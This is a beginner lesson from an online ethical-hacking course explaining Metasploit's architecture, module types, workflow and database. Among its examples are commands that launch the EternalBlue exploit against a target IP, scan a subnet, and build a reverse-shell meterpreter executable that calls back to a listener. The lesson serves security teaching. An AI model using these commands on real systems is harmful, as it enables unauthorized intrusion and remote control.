Metasploit Architecture
Modules and console.
Metasploit Architecture is a free Ethical Hacking Academy lesson on CoddyKit — lesson 1 of 4. You can read the complete lesson below for free — then practise it hands-on in the browser with a built-in code editor and a 24/7 AI tutor. It is part of the Ethical Hacking Academy learning path, one of 4 lessons in the course, and your progress syncs across the web and the CoddyKit app.
What Is Metasploit?
Metasploit is the most widely used exploitation framework. It provides a structured library of exploits, payloads, and tools to test and demonstrate vulnerabilities during authorized engagements.
Rather than writing every attack from scratch, you load proven modules, configure them, and run them through a consistent interface.
msfconsole
The primary interface is msfconsole, an interactive command-line shell. It offers tab completion, command history, and access to every module.
You launch it from a terminal and then work entirely inside its prompt.
msfconsole
# msf6 > helpModule Types
Metasploit organizes capabilities into module types:
- exploit: code that takes advantage of a vulnerability.
- payload: code that runs on the target after exploitation.
- auxiliary: scanners, fuzzers, and tools that do not deliver a payload.
- post: post-exploitation actions on a compromised host.
- encoder and nop: help payloads evade detection.
Module Naming
Modules use a hierarchical path that tells you exactly what they do. Reading the path reveals the type, platform, and target service.
exploit/windows/smb/ms17_010_eternalblue
# type / platform / service / specific exploitExploits vs Payloads
An important distinction:
- The exploit is the way in; it breaks the vulnerable software.
- The payload is what you want to happen once you are in, such as opening a shell.
You pair them: one exploit can deliver many different payloads depending on your goal and the target.
The Module Workflow
Working with any module follows a repeatable cycle:
- search for a module.
- use it to load it.
- set options like RHOSTS and LHOST.
- run or exploit it.
This consistency is why the framework scales across thousands of modules.
use exploit/windows/smb/ms17_010_eternalblue
show options
set RHOSTS 10.10.10.5
exploitDatastore and Options
Module settings live in the datastore. Each option may be required or optional.
- RHOSTS: remote target address(es).
- RPORT: remote port.
- LHOST: your listening address for reverse connections.
- LPORT: your listening port.
Use show options to see what a module needs before running.
The Database
Metasploit integrates with a PostgreSQL database to store hosts, services, loot, and credentials discovered during an engagement. This lets you track a large scope efficiently.
Start it before launching the console so results are recorded automatically.
msfdb init
# Inside msfconsole:
# db_status hosts services credsAuxiliary Modules
Auxiliary modules do useful work without exploiting: port scanning, service enumeration, login brute forcing, and fuzzing.
They are often your first step, gathering the intelligence you need before selecting an exploit.
use auxiliary/scanner/smb/smb_version
set RHOSTS 10.10.10.0/24
runmsfvenom
msfvenom is a companion tool for generating standalone payloads as files: executables, scripts, or shellcode you deliver outside the console.
It combines payload generation and encoding into one command, useful for phishing simulations or custom delivery in authorized tests.
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=10.10.14.2 LPORT=4444 -f exe -o shell.exeWorkspaces
For multiple engagements, Metasploit workspaces keep each client's hosts, services, and loot isolated in the database. You switch between them so data never bleeds across assessments.
workspace -a clientA # add a workspace
workspace clientA # switch to it
workspace # list allQuick Check
Test your grasp of module types.
Recap
You learned Metasploit's architecture:
- msfconsole is the main interface; msfvenom builds standalone payloads.
- Module types: exploit, payload, auxiliary, post, encoder/nop.
- Module paths encode type/platform/service.
- Workflow: search, use, set options, run; settings live in the datastore.
- The PostgreSQL database tracks hosts, services, and loot.
Next: searching for and using exploits effectively.
Frequently asked questions
Is the “Metasploit Architecture” lesson free?
Yes — the full text of “Metasploit Architecture” is free to read here on the web, and the Ethical Hacking Academy course includes 4 lessons in total. To practise it interactively (a built-in code editor and a 24/7 AI tutor) and unlock the rest of the Ethical Hacking Academy course, upgrade to CoddyKit PRO.
What will I learn in “Metasploit Architecture”?
Modules and console. You practise Ethical Hacking Academy with hands-on code you run directly in the browser, and a 24/7 AI tutor answers your questions as you work through the lesson.
Do I need any experience to start Ethical Hacking Academy?
No prior experience is required. Ethical Hacking Academy on CoddyKit is structured for beginners through advanced learners; this is — lesson 1 of 4, so you can start here or from the beginning and move at your own pace.
How long does the “Metasploit Architecture” lesson take?
Most CoddyKit lessons take about 5–10 minutes. Each one is bite-sized and interactive, so you make steady progress and pick up exactly where you left off across the web and the app.
Can I write and run code in this Ethical Hacking Academy lesson?
Yes. Every Ethical Hacking Academy lesson includes a built-in code editor, so you write and run real code right in your browser and get instant AI feedback — no local setup required.
All lessons in this course
- Metasploit Architecture
- Searching and Using Exploits
- Payloads and Meterpreter
- Post-Exploitation Modules